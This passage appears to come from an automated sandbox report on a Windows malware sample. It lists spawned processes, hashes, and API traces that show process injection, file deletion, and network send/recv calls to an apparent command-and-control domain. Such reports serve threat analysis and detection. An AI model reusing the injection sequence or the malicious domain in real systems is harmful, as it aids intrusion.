MD5 hash:	3CD3CD85226FCF576DFE9B70B6DA2630
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	21:31:29
Start date:	22/12/2023
Path:	C:\Windows\System32\oobe\UserOOBEBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
Imagebase:	0x7ff69a060000
File size:	57'856 bytes
MD5 hash:	BCE744909EB87F293A85830D02B3D6EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	21:31:29
Start date:	22/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	21:31:29
Start date:	22/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	21:31:30
Start date:	22/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0x4
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	21:31:30
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	21:31:31
Start date:	22/12/2023
Path:	C:\Windows\System32\backgroundTaskHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Imagebase:	0x7ff6ec4b0000
File size:	19'776 bytes
MD5 hash:	DA7063B17DBB8BBB3015351016868006
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:31:32
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:31:32
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	21:31:32
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	21:31:33
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	21:31:33
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:31:33
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	21:31:33
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	21:31:34
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	21:31:34
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	21:31:34
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	21:31:34
Start date:	22/12/2023
Path:	C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.6%
Total number of Nodes:	208
Total number of Limit Nodes:	7

Executed Functions

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00A00000,00003000,00000040), ref: 00401064

Strings

alAl, xrefs: 00401036

Memory Dump Source

Source File: 00000000.00000002.1653862452.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1653848704.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_java.jbxd

Similarity

API ID: AllocVirtual
String ID: alAl
API String ID: 4275171209-1316302345
Opcode ID: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction ID: 5af7c2372beb94d1e1b866602b7db5847228e6fe9b98f09dddad8bbdacf03bae
Opcode Fuzzy Hash: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction Fuzzy Hash: B1015A36A401618FD765CF18C841F41B3E1BF48325F1A81A5D989AB7A2C778FC92CB88

Uniqueness

Uniqueness Score: -1.00%

Function 02260005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0226098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022609A5
Part of subcall function 0226098B: GetStartupInfoA.KERNEL32(00000000), ref: 022609BD

ExitProcess.KERNEL32(00000000), ref: 0226001D

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: 018821dbfb8d3565c4018009c9c3f7214208bb4e88274612129ac9bd26566969
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: A072D16342E3C14FD7279BE04A6C6757F78BF03208B1D10CBC4819A0BBD6545B99E76A

Uniqueness

Uniqueness Score: -1.00%

Function 005E0000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 005E0318
VirtualProtect.KERNELBASE ref: 005E0680
VirtualProtect.KERNELBASE ref: 005E06FD

Strings

1;, xrefs: 005E0286
C[, xrefs: 005E0221
d:, xrefs: 005E00A0
, xrefs: 005E000F
v, xrefs: 005E0141
wJ, xrefs: 005E012E
y7, xrefs: 005E0234
@, xrefs: 005E001F
R, xrefs: 005E0039

Memory Dump Source

Source File: 00000000.00000002.1653956491.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_java.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: a8d1d2b531a601f7109a4b1ffc95ff65a13b03a51ff0994c2c6215d850f765d0
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 903267B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 022609FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,022609F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02260A04
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02260A2C
VirtualProtectEx.KERNELBASE(?,?,000000EB,00000040,00000000), ref: 02260A57
DuplicateHandle.KERNELBASE(000000FF,000000FF,?,02265834,00000000,00000000,00000002), ref: 02260A9C
WriteProcessMemory.KERNELBASE(?,?,?,000000EB,00000000), ref: 02260ACA
ResumeThread.KERNELBASE(?), ref: 02260ADA
Sleep.KERNELBASE(000003E8), ref: 02260AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02260B01

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWow64Write
String ID:
API String ID: 1738979855-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: c09bd413a69d671c3068c4b69bde5df0d06591151c2550f111c05e6c9db6c104
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 1B3154326502159FEF225F50CC85BA977B8FF04748F0405D4AA49FE0E9DBB09AA0DE54

Uniqueness

Uniqueness Score: -1.00%

Function 02263409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02263405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02263409

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: 4c4363e9401d7ce29dd3ff6ff61f410553fc441be3b3e610dd4644be9fdd41d3
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 29F0FE75500154DBEF02EF24C485A9A77F8AF44344F4504C8AA4DBF206CA709595CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02261845 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction ID: f462f393f1e838e75aae57660c309a560d8334809746bee654342f66c26e16b7
Opcode Fuzzy Hash: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction Fuzzy Hash: 58C1D6264246878EE7158AA8C05D3F2BFD5BB12318F489389C19D4F3DBC399A1E9C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02260EA9 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction ID: f482395870cdbbdf57aa0e7b31be2b0ba2647f55f0b1eda4d3bd01f74ce1dcda
Opcode Fuzzy Hash: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction Fuzzy Hash: 76B1F8225647878AE7258A98C01D3F2BF957B12328F0893C9C59D0F3E7C3A5A2D9D7C1

Uniqueness

Uniqueness Score: -1.00%

Function 02260C63 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction ID: 42e687cab3e91ba0d79e64a924876dbe3662425e574637ff4c7bfcf9c0ac2d6e
Opcode Fuzzy Hash: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction Fuzzy Hash: 77D0C579661550CFCA56CB58C1D8E10B3B2FB48764B168495E80A8B766C335ED46DE00

Uniqueness

Uniqueness Score: -1.00%

Function 02262951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02262949,00000008,?,00000000,02262835,00000000), ref: 02262956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02262993
lstrcat.KERNEL32(00000000,022629C1), ref: 022629D0
lstrcat.KERNEL32(00000000,022629F8), ref: 02262A07
lstrcat.KERNEL32(00000000,02262A2F), ref: 02262A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02262B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02262B66

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 07d130e1ca34181be00982cb756b639c9df27b9fac1c3c258489fe499713d2af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 7D517073410354DEDB22AFB08D4CFBB76BDEF40705F0405A5AE45EA049DA758AC0CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 022629CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022629C1), ref: 022629D0

Part of subcall function 02262A01: lstrcat.KERNEL32(00000000,022629F8), ref: 02262A07
Part of subcall function 02262A01: lstrcat.KERNEL32(00000000,02262A2F), ref: 02262A3E
Part of subcall function 02262A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AB8
Part of subcall function 02262A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02262B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02262B66

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: 17294a9b2a76e5e78d438cc7d3f71aed0829c459954961c3e9469c4f59d27bb6
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: CC414273410355DEDB22AFB08D4CFBB72BDEF40709F4406A5AE45EA049DA759AC0CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 02262A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022629F8), ref: 02262A07

Part of subcall function 02262A38: lstrcat.KERNEL32(00000000,02262A2F), ref: 02262A3E
Part of subcall function 02262A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AB8
Part of subcall function 02262A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AFC
Part of subcall function 02262A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02262B52
Part of subcall function 02262A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02262B66

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 6e226367b48c5ded2eeb53e6b818fa1be9f6da486c323f5eb96658b9d67f9a8c
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: AA413273410359DEDB22AFB08D4CFBB76BDEF40705F4005A5AE85EA058DA759AC0CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 02262A38 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02262A2F), ref: 02262A3E

Part of subcall function 02262B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02262C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02262AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02262B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02262B66

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 8fac7f62e47a046336325b515c200622254cc6718993968ddf70090f6a3af4ed
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 2A313E72410259DEDB226EB08D4CFBB76BCEF40709F4006A5AE45EA058DA3599C0CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 022631EA Relevance: 7.6, APIs: 5, Instructions: 62
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0226320E
GetStartupInfoA.KERNEL32(00000000), ref: 0226324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,022631D9,00000011,?,00000000,00000000), ref: 02263279
CloseHandle.KERNEL32(?,?,022631D9,00000011,?,00000000,00000000,00000000,02263092,00000004,00000000), ref: 02263285
CloseHandle.KERNEL32(?,?,022631D9,00000011,?,00000000,00000000,00000000,02263092,00000004,00000000), ref: 02263291

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: f615e30daafb3de9f649663f9ab0fa1c254c66a50b6cbd94df7f4dcf74960c49
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 031112728106189FDF12ABA0CC88AAEB7BDEF50706F054595E985EA048DA705A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02263F31 Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02263F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02263F51
Sleep.KERNEL32(000003E8,00000000,?,02263F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02263F6F
Sleep.KERNEL32(000007D0), ref: 02263F7F
Sleep.KERNEL32(00000BB8), ref: 02263F8F

Memory Dump Source

Source File: 00000000.00000002.1654114084.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_java.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 73ac43c5184fe57861ee2d2da8c26286d91fbebb8d9dd8aa07b7b7b5aede44be
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: CAF01C729683509EFB41BFF08C4C66A3AB9AF00B04F0400D0AA89AD0DECF7480D08E75

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: winver.exePID: 7344, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	17.9%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	4%
Total number of Nodes:	623
Total number of Limit Nodes:	10

Executed Functions

Function 02F02F88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 02F02FF4
send.WS2_32(?,02F02A30,02F02A2C,00000000), ref: 02F0300D
recv.WS2_32(?,02F02A30,00A00000,00000000), ref: 02F03030
closesocket.WS2_32(?), ref: 02F0304A

Strings

fccfxejgtpqb.pw, xrefs: 02F02FDB

Memory Dump Source

